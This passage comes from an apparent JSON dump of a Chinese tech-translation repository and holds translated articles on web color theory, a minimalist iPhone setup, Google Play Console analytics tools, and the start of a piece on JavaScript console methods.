color，副色）。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--jDnCmgm0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/h1li6xy7lsolpx1pfd7y.jpg)](https://res.cloudinary.com/practicaldev/image/fetch/s--jDnCmgm0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/h1li6xy7lsolpx1pfd7y.jpg)\n\n不过如果你在高中或者更高层次的学校中学习过艺术，那你就会发现，色轮是展示[色彩理论](https://en.wikipedia.org/wiki/Color_theory)、练习混色以及研究色彩组合的最简单的方法。\n\n## 何谓色彩理论？\n\n**色彩理论简史**：爱德华·马奈（Édouard Manet）、埃德加·德加（Edgar Degas）、克洛德·莫奈（Claude Monet）等印象派的画家在抛弃写实，而开始尝试捕捉**光色**时，色彩理论就诞生了。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--8liyegSH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/qg743mrylv8mon76b4z0.jpg)](https://res.cloudinary.com/practicaldev/image/fetch/s--8liyegSH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/qg743mrylv8mon76b4z0.jpg)  \n\n上图为莫奈的 Haystacks 系列画作\n\n**简单来说**：色彩理论研究的是人的眼睛如何将光波转化为颜色。匹配或相似的色彩往往有着相似或互补的波。\n\n因此可以将色彩理论归结为光波科学，来解释为什么可以看到各种颜色。不过在本文中，我们只专注于两个问题：\n\n*   为什么有些颜色可以完美搭配？\n*   我们该如何选择“正确”的颜色？\n\n颜色的搭配问题有点像“与生俱来”的东西。不管怎样，在网页或者 App 里用纯绿色的背景是绝对让人无法忍受的！\n\n下面我列了一个简表，当你遇到与色彩有关的问题时可以参考：\n\n## Level 1：单色\n\n**单色**就是单一的颜色，或者同种颜色的多个色调的组合。\n\n> **在 Web 开发时**，你可以在[这个网页中](https://www.w3schools.com/colors/colors_picker.asp)选择并查询某种颜色的 Hex 代码，并且可以在不影响色调的情况下让颜色更亮或更暗。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--T_AVlepc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/48ktxlwm7qq095mkwuoa.jpg)](https://res.cloudinary.com/practicaldev/image/fetch/s--T_AVlepc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/48ktxlwm7qq095mkwuoa.jpg)\n\n这就是最简单的网页配色方法。诸如 [Facebook](http://facebook.com)、[Twitter](http://twitter.com) 之类的网站大都是用的这种单色配色方案。黑色、白色、天蓝色组合而成的简单配色，让这些社交 App 更加简洁。\n\n只有用户的头像、链接、照片有着不同的颜色，这些不同的颜色可以被用户识别，更好地找到他们感兴趣的帖子和账号。\n\n如果 Twitter 的网页上还有其它的颜色，就会让区分帖子、发帖人变得困难。\n\n一般来说，即使你需要多种颜色，也得有个主色，所谓背景或者标题的颜色。\n\n> **专业建议**：如果你的网页要使用单色配色，请确保阴影可以清晰地将各个元素区分开了。否则用户在阅读文本或分离网页元素时将很不方便。\n\n## Level 2：互补色\n\n如果不想在配色中只用各种各样的“橙色”怎么办？如果你想让链接突出，但又不和导航栏或者背景色冲突怎么办？\n\n如果我们遵循基本色彩理论，解决上述问题的方案就是去寻找**互补色**。\n\n可以在色轮中一种颜色相对的位置找到它的**互补**色。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--laijYZC7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/3fj00kbhg6s8nqpm3ut9.jpg)](https://res.cloudinary.com/practicaldev/image/fetch/s--laijYZC7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/3fj00kbhg6s8nqpm3ut9.jpg)\n\n每种**主色**都与一种**副色**作为互补色相对应。有种方法可以轻松记住颜色如何匹配：如果一种**副色**和一种**主色**匹配，那么**副色**的构成色一定不含**主色**。比如，红色的互补色是绿色，而绿色由蓝色和黄色组成。\n\n> **专业建议**：一次只增加一种颜色，并保持页面简单。不要为了呈现一个完整的彩虹配色牺牲了你干净、好用的布局。不然，你可能会做出上世纪 90 年代流行的经典网站（比如[这个](https://spacejam.com/)）。\n\n## 继续升级...\n\n随着你的设计水平的提高，就能自如地挑战自己的极限了。配色并不是什么可怕的工作。你可以多多关注一些配色水平高的开发者（比如[他](https://www.alispit.tel/#/) ）和设计师。多问问自己喜欢什么配色、不喜欢什么配色、为什么，这样就能建立自己的品味与品牌。\n\n## Web 开发者的色彩 Hack\n\n试试自己手写一些 hex 代码、RBG 数字来尝试各种色彩的组合与混合。如果你是 SASS 的粉丝，可以把配好的颜色存储在文件中，日后在项目中导入。如果你的工作是构建页面结构而不是视觉设计（由客户或者产品经理决定），可以把这些颜色当做是占位符，让页面看起来更加明了。\n\n请确保：\n\n*   所有东西都是可读的。\n*   链接、标题等你想要强调的东西应该与纯文本有所区别。\n*   用户可以轻松地区分网页的不同部分（比如导航栏、主要内容、文章等）。\n\n## 在线工具\n\n*   [Palleton.com](http://paletton.com/)\n*   [Coolors.co](https://coolors.co/)\n\n[Doug R. Thomas, Esq.](https://dev.to/ferkungamaboobo) 强烈推荐以下网站：\n\n*   [Color.Adobe.com](https://color.adobe.com/)\n*   [WebAIM — 颜色对比度检查器](https://webaim.org/resources/contrastchecker/) - 确保文本在背景上的可读性。\n*   [Coblis — 色盲模拟器](https://www.color-blindness.com/coblis-color-blindness-simulator/) - 用色盲滤镜来测试你的布局截图，以确保内容对所有受众都是可读的。\n\n## 拓展阅读\n\n希望在读完这篇文章后，你不再为给网站、网页、app 配色感到犯愁。如果你对这个主题感兴趣，强烈建议去了解[更多相关知识](https://www.colormatters.com/color-and-design/basic-color-theory)。本文只是浅显地进行了讲解，你可以读[这篇文章](https://99designs.com/blog/tips/the-7-step-guide-to-understanding-color-theory/)了解更多关于色调和阴影的知识。\n\n最后我想说，在你给自己的项目进行配色时，并不存在”错误答案“。许多人认为品味是天生就有的，正是它帮助你寻找美妙的设计、带来灵感、尝试各种组合，最终为你和你的品牌找到最适合方案。祝你好运！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/beautility-my-ultimate-iphone-setup.md",
    "content": "> * 原文地址：[Beautility, My Ultimate iPhone Setup](https://betterhumans.coach.me/beautility-my-ultimate-iphone-setup-1b3dd0c588a0)\n> * 原文作者：[Jason Stirman](https://betterhumans.coach.me/@stirman?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/beautility-my-ultimate-iphone-setup.md](https://github.com/xitu/gold-miner/blob/master/TODO1/beautility-my-ultimate-iphone-setup.md)\n> * 译者：[94haox](https://github.com/94haox)\n> * 校对者：[ssshooter](https://github.com/ssshooter)\n\n# 美观实用性，我的究极 iPhone 设置\n\n## 一份让你的 iPhone 实用又美观的指南\n\n![](https://cdn-images-1.medium.com/max/1600/1*GP6_qP2JArexoS_DQP-AWQ.jpeg)\n\n当我理解和意识到从数码世界断连的价值时，我人生中的许多时光已经耗费在我手机的 5.5 寸屏幕上，我已经开始对它上瘾了。尽管我是一个数码控，但是我还是讨厌持续不断的嗡嗡声，并且需要每五分钟查看下手机，所以我决定稍微修改下我的手机，让它为我服务，而不是我为它服务。\n\n在开始之前，先看下我的首页。\n\n![](https://cdn-images-1.medium.com/max/600/1*wwNWMc756AVs5U731rXCtQ.png)\n\n这就是我每次解锁时看到的。背景是一个抽象的风景画，我的主屏上大多数是……好吧，是空的，是我故意的。\n\n那些耗费我精力的，带着红色角标的应用图标，已经一去不复返了。\n\n底部应用托盘上方有两个不易看清的点，这已经是最精简的情况了，因为左边是放满实用小部件的页面，关于这个页面我会在后面提到。但是我故意调整了壁纸图案，让它尽量能够遮住这些点。\n\n我的首页让我平静。它感觉上像是为一个具有灵感和创造力的人准备的空白画布。我之前经常设置一些多样的纯色壁纸，但是这张[图](http://www.idownloadblog.com/2016/08/21/wallpapers-of-the-week-minimalist-mountains-continued/)中的某些东西触动了我。\n\n在 iOS 将点从黑色变为白色的情况下，你可能没有办法用这张背景图去掩盖指示点。幸运的是，有办法解决这个问题。出现这个问题的原因是某些只有点后面的背景是漆黑一片时才会触发的 Apple magic。如果你重新布置背景，让它只是深灰色，你会发现这个问题就不存在了。\n\n![](https://cdn-images-1.medium.com/max/800/1*AtDu4cwBjqdcgBD1HReyUA.png)\n\n### 第一步：将所有的 APP 放入一个文件夹\n\n除了常用的三个，将你所有的应用都放入一个文件夹，可以将这个文件夹命名为 “Apps”。\n\n这个文件夹容纳了我的所有的 130 个应用，并且按字母排序了，这是这一步最大的变化。一个文件夹最多容纳 135 个应用，每页 9 个，一共 15 页。凑巧的是我手机上差不多有 130 个应用，因为在将它们移到文件夹的过程中，我删除了 10-15 个应用。我不知道这是多还是少。\n\n我用 iTunes 管理它们，我认为它应该比较快，但是我不确定是否是因为 UI 的问题，反而比较慢。此外，按字母排序也不是必须的了，因为我用搜索来做几乎所有的事情。\n\n在做出改变之前，我几乎从来不在手机上使用搜索，然而现在我用它查找和启动应用，拉出联系人来通话或者发信息，搜索网站，等等。向下滑，开始输入，然后点击你想要的结果。起初，用搜索来做事，会感到很别扭，但是几天后，我就感觉我有了一个新的超能力，我直到现在还在惊讶于我怎么能这么快找到我想要的。（备注：如果你使用 Slack 并且在手机上搜索它，那么可能表现的不是很好，试试这个[方法](https://t.co/QPXkP5VZKB)，它对我有效果。还有[这个](https://medium.com/@aunder)！）\n\n主屏上剩下的三个应用代表我会**选择**做的事情，我是否没有回复推送通知，比如：与朋友或者家人聊天（Message），看看世界上发生了啥（Twitter），或者通过电子邮件工作（我最喜欢的邮件客户端 [Superhuman](https://superhuman.com/) 的早期私人测试版）。\n\n你可以选择和我不同的应用。有很多人有类似观点：Twitter 和短信会打断你的时间。如果你也这样认为，那么你可能应该选择 Podcast 和 Kindle。\n\n![](https://cdn-images-1.medium.com/max/800/1*AtDu4cwBjqdcgBD1HReyUA.png)\n\n### 第二步：禁止推送\n\n在我将所有应用放入同一个文件夹后，通知角标就困扰着我，因为它们会出现在文件夹深处的几个页面中，如果我不去浏览那些页面，我根本不能分辨出它们的位置。\n\n将所有的通知关闭对我来说并不是一个选择，但是这个设置让我意识到每天我有多少不需要马上关注的通知。我就直说吧：绝大多数。所以在接下来的几天里，每当我收到通知，我就做了下面三件事中的一个...\n\n1.  如果通知是重要并且是时间敏感的（比如 Slack 的提及，语音信息等等）我会将它们的推送开关打开，并且将它们移到文件夹的第一页。\n2.  如果这个通知是重要的但是时间不敏感的，并且不是经常出现的（比如，设置，Testflight 等等），我离开 APP，并且保持它的推送打开。\n3.  如果这个推送不是很重要，或者时间不敏感，比如（IG 的点赞， Medium 的掌声，等等）我会将它保持在原来的位置，并且在设置中禁止它的所有推送。\n\n几天后，我将所有的重要的应用都放在了文件夹的第一页，并且将大多数的推送都禁止了。将我经常使用的应用放在了第一页，比如电话和谷歌地图，等等，尽管我已经用搜索去启动它们了。\n\n这是我 Apps 文件夹的第一页。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZXu9WEbM2EwI-bQoCGo2bw.png)\n\n或者，如果你准备好一次性放弃所有通知，你可以直接进入设置，找到通知部分，然后逐个关闭。\n\n![](https://cdn-images-1.medium.com/max/600/1*NbgNiVH3FdCRILy4ZF2WFA.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*HfVbZ8givcxtGKpwsZPozQ.png)\n\n以下是禁用单个应用的通知之前和之后的样子。\n\n![](https://cdn-images-1.medium.com/max/600/1*dif55a98c_vNFcmNIshuvg.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*vHUMisltVdqReV5_fBxn_A.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*AtDu4cwBjqdcgBD1HReyUA.png)\n\n### 第三步：小部件\n\n在此之前，我从未用过小部件。“widget” 这个词带来太多 Web 2.0 的回忆。但是现在我开始有点喜欢它们了。小部件屏幕始终只需要轻扫就可以访问我需要检查的或者全天使用的事。按照顺序，我使用了下面这些部件：\n\n*   **Google Calendar**，查看我取消的即将到来的会议 \n*   **Stocks**，看看我今天又亏了多少钱 \n*   **Dark Sky**，看看周末是啥天气 \n*   **Tesla**，我可以通过小部件启动我的车，就像一个真正的硅谷 2B \n*   **Phone Favorites**，给我的朋友和家人打电话或者发短信 \n*   **Find Friends**，看看我的朋友和家人在哪里忽视我（开个玩笑，我家里的每个成员都会分享自己的位置，所以我们总能看到每个人的位置。这很有用，并不仅仅能定位对方，也可以找到丢失的手机！)\n\n小部件页面最好用的地方在于，你可以在不解锁的情况下使用它。是的，这意味着每个人都可以看到我的日程，也可以启动我的车，当然，他们可以找到我的车，并且开着它去参加我不想参加的会议，所以，双赢！\n\n![](https://cdn-images-1.medium.com/max/600/1*6TQRSPMw8Ov3icJ3uMoxCQ.jpeg)\n\n![](https://cdn-images-1.medium.com/max/600/1*OZrisFwBJdu2StGiL_IcdA.jpeg)\n\n![](https://cdn-images-1.medium.com/max/800/1*AtDu4cwBjqdcgBD1HReyUA.png)\n\n### 结果\n\n我使用手机的方式有了**很大**的改变。我仍然可以轻松的访问我想要的或需要做的事情，但是我不再对那些试图吸引我注意力的应用的永无止境的推送心存感激。我经常打开手机想打开某个应用，但是划没两下就被别的应用吸引了，浪费了好多时间。\n\n**我再也不会浪费任何时间在手机上，除非我想！**\n\n由于我几乎不浏览我 15 页的应用文件夹，两周后，我遗忘了很多应用，比如 Reddit，ESPN 和 App Store 等等，对此，我感到非常惊讶。淡出我的视野，淡出我的脑袋，对大多数我的应用来说，这是件好事。我认为这也是一件健康的事情。\n\n我同样意识到，iOS 应用在这些年中变得有多么的好。我的旧的习惯都是起始于第一代 iPhone，并且没多少改变。它们阻止我去探索新的功能，像是搜索，部件和 Siri。事实证明库比蒂诺的那群书呆子正在改善 iOS，是我顽固到不能欣赏它了，果然一个人习惯了一件事就很难改变了啊。\n\n![](https://cdn-images-1.medium.com/max/800/1*AtDu4cwBjqdcgBD1HReyUA.png)\n\n我爱我的 iPhone 设置。我感觉并没有失去什么而获得了更多。我对其他点子，提示和技巧保持开放态度。我遗漏了什么吗？还有什么我可以做的更好的地方？我还能怎么改善我的设置呢？\n\n\n特别感谢 [Coach Tony](https://medium.com/@coachtony?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/better-stats-for-better-decisions.md",
    "content": "> * 原文地址：[Better stats for better decisions](https://medium.com/googleplaydev/better-stats-for-better-decisions-3661717b4f2d)\n> * 原文作者：[Google Play Apps & Games Team](https://medium.com/@googleplayteam?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/better-stats-for-better-decisions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/better-stats-for-better-decisions.md)\n> * 译者：[BriFuture](https://github.com/BriFuture)\n> * 校对者：[jianboy](https://github.com/jianboy)\n\n# 更好的数据，更明智的决策\n\n![](https://cdn-images-1.medium.com/max/2000/0*xQKF5835ivk1ZLVs)\n\n## 最新的 Google Play Console 和 Firebase 能够帮助你分析你的用户\n\n**作者：**[_Tom Grinsted_](https://medium.com/@tomgrinsted_1649)（Google Play Console 的产品经理）和 [_Tamzin Taylor_](https://medium.com/@tamzint)（_Google Play_ 西欧区应用及游戏部主管）\n\nGoogle Play 每天可产生逾 30 亿次事件，包括商店搜索，详情页浏览以及应用安装等事件。将所有事件和随之而来的数据量化成指标，做出分析并做成可以让你做出更明智的决策的工具，是我们的一部分工作。\n\n回想一下你每天在业务中所做的事情时，你就会发现你总是在做决策，很多决策：关于业务、关于获取、关于开发以及关于产品规划的。良好的数据分析才能做出明智的决策。\n\n本篇文章我们会讨论一些能用来进行发现、获取、互动和获利的重要工具。我们还会介绍用户生命周期模型中，有助于基准、观点和帮助制定决策的工具。\n\n![](https://cdn-images-1.medium.com/max/1600/0*VRurbfuiI5T9EsYU)\n\n### 用户生命周期\n\n和每一段美好的旅途一样，你要从某个位置出发：你需要一个框架，它能让你以开发者的身份思考，需要哪些基准、观点和工具，还能为你完善应用、开创事业。这个框架就是用户生命周期。\n\n![](https://cdn-images-1.medium.com/max/1600/0*BzrCmXezIGvetz2N)\n\n生命周期始于发现和获取。这一阶段是，在大家面前，告诉他们你制作了一个十分有趣的应用或者游戏，并且安利他们安装。\n\n安装完毕后就是交互和获利了。现在你得让人们每天都使用你的产品：打开它并且（最好是）爱上它。他们还会购买应用内商品并且订阅，因此你也可以获得收入。\n\n如果你获得的每个人都会一直使用你的应用，而这就是故事的结局，那就真是太好了，但很不幸，你想多了。不论什么原因，有些人都会卸载你的应用或者游戏，从而成为流失的用户。\n\n这不一定是故事的结局。劝服大家回归，用户生命周期才能延续，给你第二次或第三次机会，告诉他们在你应用中的美妙的新特性，让他们相信他们会想再次尝试这个应用。\n\n正是在这个框架中，我们和 Google Play 的同事思考了摆在我们面前的挑战。\n\n![](https://cdn-images-1.medium.com/max/1600/0*V39kFGek9nwQy46O)\n\n### 用于发现和获取的工具\n\n在我们查看有助于制定决策的工具前，先看看 Google Play Store 中的 3 个功能：抢先体验，预注册和 Google Play 免安装（Instant）。\n\n**抢先体验程序（early access program）** 让你可以在正式版应用发布前就开始发现用户。当你将应用或者游戏放到 Google Play Console 的开放下载渠道，就让 2 亿 3000 万用户中的某一个获取这款应用，他们参加了开放测试，而且每周还有 250 多万新人注册。\n\n然后是 **预注册**。使用这个功能你可以把应用或者游戏放到 Play 商店，但人们只能看到预注册（Pre-Registration）按钮而不是安装按钮。一旦有人参加，你就可以告诉他们，这款应用或者游戏什么时候发布正式版。\n\n> Ville Heijari, Rovio 娱乐公司的市场总监，评论道：“预注册很有用，能让你的粉丝对即将到来的游戏充满期待，并且在游戏发布时让他们得到通知。”\n\n第三个功能是 **Google Play Instant（免安装）**。这是对免安装应用的扩展，它可以提供一小部分的应用体验，让用户不安装应用就可以尝试体验一款应用或者游戏。\n\n> Hothead Games 公司启用了 Google Play Instant 功能，其市场预测师 Oliver Birch 表示：“我们几乎已经让商店列表中所有的应用点击率翻倍了。新用户增长率超过 19%。（因此）我们正计划对我们的所有游戏进行免安装推广。”\n\n然而，你只可以管理你能够估量的东西。为了支持 Google Play Instant 的启动，帮助你了解它对你的底线的贡献，才有了 Play Console 中新的统计数据，\n\n你现在可以查看免安装应用（Instant App）启动和转化的数量，某个用户打开你的免安装应用，进而下载完整版本的次数。而且，由于数据在 Play Console 中，你可以使用其他的关键指标，如安装和收入，切分整合信息。新增的数据能够跟踪是哪款产品——浏览器，Search 还是 Play 商店，推动你的免安装应用成功。\n\n![](https://cdn-images-1.medium.com/max/1600/0*Bk80wPWQh-4yY5rU)\n\n现在你可能在意如何获取有价值的用户。购买者的获取报告总是能做好这个工作，它将向你展示如何将 Play 商店中的访客变成回头客，并且现在它会告诉你在每个阶段中，每个用户带来的平均收入（ARPU）。\n\n![](https://cdn-images-1.medium.com/max/1600/0*yRFpGCBHKQlGJy_z)\n\n有了这一改进，你可以清楚的看到每个用户的平均花费是多少，你从不同的市场渠道中获取，包含自然流量。无论你要使用经典的 CPM 模型，还是要使用每次安装的花费（cost-per-Install）模型，或是要把价值推向漏斗尖部，这一信息对你评估自己的策略和制定更好的决策都非常重要。\n\n最后，关于发现和获取的讨论，有新的基准。\n\n![](https://cdn-images-1.medium.com/max/1600/0*ezYvfaP8ns_N4Ag1)\n\n基准很棒，因为它们帮助你专注于投资那些收益最高的东西。保留应用的安装者是用户获取漏斗的基准，这也包含所有的自然流量，让你看看到底哪里有机会进行改进，哪里让你的投入获得回报。\n\n> Intuit 合作公司的合作策略师 Brandon Ross 评论道：“自然基准帮助我们衡量与同行的转化率对比，并且帮助我们优化了查找和转化。”\n\n![](https://cdn-images-1.medium.com/max/1600/0*-hQDAzHzWMpsOWN7)\n\n### 增强和获利的工具\n\n让我们拓宽眼界，谈谈 Firebase 工具，还有 Google Play Console 中的工具。\n\n首先，不要忘了 Google Play Console 中的 **事件时间线（events timeline）**。\n\n![](https://cdn-images-1.medium.com/max/1600/0*bPh3Rcmatd1DIMp0)\n\n这篇新报告在统计页中图表的底部，Android vitas 控制面板，订阅控制面板，还有 Play Console 上的其他图表中提供了情境信息。报告将会展示对应用有影响的相关事件信息，比如新版本的占有率。举个例子，你可以看到与发行新版本相关的平均比率变化或价格变化是增加还是减少了 ARPU。\n\n\n\n涉及到探索人们与应用的交互方式，Firebase 提供的这一工具现在可以提供更多的帮助。特别是，将分析 SDK 链接到你的应用中就能启用 **Google Analytics for Firebase**，当然，这需要注册相应服务。\n\n开箱即用，Google Analytics for Firebase 提供了关于交互和保留用户的有意义的指标。但是，你也可以编写代码来追踪对你的应用或者游戏影响最大的活动。\n\n![](https://cdn-images-1.medium.com/max/1600/0*wKhlf4ypBdPgQpWk)\n\n解析你从 Google Analytics for Firebase 获得的所有信息，这有时候可能是个难题，但是 **Firebase Predictions** 可以让它变得简单得多。\n\nFirebase Predictions 使用解析数据，结合机器学习和其他工具，为你预测人们使用应用的方式。默认地，你可以获取用户花费和流失的预测。而且，你可以构建自己的应用，预测对你而言最重要的功能和行为。\n\n接着是获利阶段，已经有一些针对订阅信息的改进。自去年启用的 **订阅控制面板（subscription dashboard）**被由大多数最赚钱的订阅业务定期使用。这就是为什么我们一直在加强这个面板的功能，包括改进用户保留和删除的报告。\n\n注意观察即将到来的 **订阅、保留和删除报告** 的更新，它会让同类群组的比较及免费试用和账号保留等重要功能的评估变得更加简单。你也能够轻松地追踪更多像续费这样的重要数据。\n\n![](https://cdn-images-1.medium.com/max/1600/0*SKEE_M66uRfVJKbg)\n\n通过 **同类群组选择器**，你可以通过 SKU（库存量单位），日期和国家选出一组用户，使用这个功能，专注于一组订阅者并分析他们的行为。比如，你可以选择一个免费尝试的 SKU，将它与一个产品价格的 SKU 对比，看看哪一个获利更多。\n\n涉及到减少订阅时，更新 **卸载报告** 会帮你获得更多关于人们取消订阅的原因的信息。\n\n![](https://cdn-images-1.medium.com/max/1600/0*WJzoyAnXXde_D6Ef)\n\n当某个用户取消了订阅，让他们填写一份调查表，这样他们就可以解释为什么取消。并且这些调查的结果可以从订阅控制面板上查看。\n\n控制面板现在也可以报告用户回归特征，诸如 **账号保留** 和 **使用周期**。\n\n![](https://cdn-images-1.medium.com/max/1600/0*-rQoM5mDb6yXpKmm)\n\n### 用户回归、重新安装\n\nPlay Console 提供关于卸载的报告，比如，每日的卸载信息或者卸载事件。而且，在保存的安装者获取报告中，你可以找到诸如人们保留应用的时间。\n\n我们从很多开发者那里获知，他们想要更多信息，我们能理解其中的原因。今年稍晚时候，你会看到一些新功能，比如能够分析有多少人卸载你的应用，有多少人在安装你的应用。因此保持关注以便获得更多更新。\n\n![](https://cdn-images-1.medium.com/max/1600/0*8iSi6BGBiDcP8t7N)\n\n### 应用控制面板\n\n所有的新信息带来了挑战。作为开发者，你已经够忙了。你有一堆来自 Google 或其它公司的工具，并且要从许多地方获取你需要的所有信息。你需要的是用简单的方式来查看 Play Console 必须提供的，并且对你而言重要的信息。\n\n一个解决方案是：Google Play Console 中的 **应用控制面板**。\n\n![](https://cdn-images-1.medium.com/max/1600/0*yd-BCQ5XxJKRmBlh)\n\n在 Google Play Console 中选中一款应用后打开的页面就是应用控制面板。最前面的是提供的趋势信息：如安装，收益，评分和崩溃等。后面是一组互补的数据，如安装和卸载，总收益和每位用户带来的收入（RPU）。\n\n面板可以定制，每一部分都能被展开或者折叠。因此如果你对收益感兴趣，你可以展开这一部分，但对预注册部分不那么感兴趣，就可以将这一部分折叠。面板会记住你的偏好，并保持你离开时的状态。\n\n### 终语\n\n用户生命周期已经成为促使 Google Play Console 的新功能和更新的重要方式了。结果，这些变化是为了帮助你优化每一个阶段：从用于发现和获取的 Google Play Instant 和预注册，到新的订阅报告、加强的获取报告、新的事件时间线以及卸载统计。这一信息和其它的细节，比如技术性能，都包含在了应用控制面板中。\n\n这里的所有工具将会帮助你走向成功，通过让你更好的理解用户。如果你想了解更多内容，[查看更多关于获取的最佳实践](https://developer.android.com/distribute/best-practices/grow/user-aquisition)，或者在下方的 I/O 2018 会议中了解更多发布内容。\n\n* YouTube 视频链接：https://youtu.be/oib_gHJA_-0?list=PLWz5rJ2EKKc9Gq6FEnSXClhYkWAStbwlC\n\n### 你怎么看？\n\n你有什么关于分析应用获取和交互的想法吗？在下方的评论区留言或者在推特上参加 **#AskPlayDev** 的讨论，我们会用 [@GooglePlayDev](http://twitter.com/googleplaydev) 账号进行回复，我们经常在推特上分享一些如何在 Google Play 中获得成功的消息和小窍门。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/beyond-console-log.md",
    "content": "> - 原文地址：[Beyond console.log()](https://medium.com/@mattburgess/beyond-console-log-2400fdf4a9d8)\n> - 原文作者：[Matt Burgess](https://medium.com/@mattburgess?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/beyond-console-log.md](https://github.com/xitu/gold-miner/blob/master/TODO1/beyond-console-log.md)\n> - 译者：[Pomelo1213](https://github.com/Pomelo1213)\n> - 校对者：[RicardoCao-Biker](https://github.com/RicardoCao-Biker), [CoderMing](https://github.com/CoderMing)\n\n# 你不知道的 console 命令\n\n## 相比使用 console.log 去输出值，我们有更多的方式去调试 JavaScript。你以为我要聊调试器么？不不不你想错了。\n\n![](https://cdn-images-1.medium.com/max/2000/1*uUhNZZObj6zD9_qxrDTD9w.jpeg)\n\n告诉写 JavaScript 的人应该使用浏览器的调试器去调试代码，这看来很不错，并且肯定有其适用的时间和场合。但是大多数时候你仅仅只想查看一段特定的代码是否执行或者一个变量的值是什么，而不是迷失在 RxJS 代码库或者一个 Promise 库的深处。\n\n然而，尽管 `console.log` 有其适用的场合，大多数人仍然没有意识到 `console` 本身除了基础 `log` 还有许多选择。合理使用这些方法能让调试更简单、更快速，并且更加直观。\n\n### console.log()\n\n很多人不知道经典的 console.log 其实有着丰富的函数特性。尽管大多数人只使用 `console.log(object)` 这种语法，但你仍然能写 `console.log(object, otherObject, string)` 并且它会将所有东西都整齐的打印出来。有时候确实很方便。\n\n不止那些，这儿还有另一种格式：`console.log(msg, values)`。这个执行方式和 C 或者 PHP 的 `sprintf` 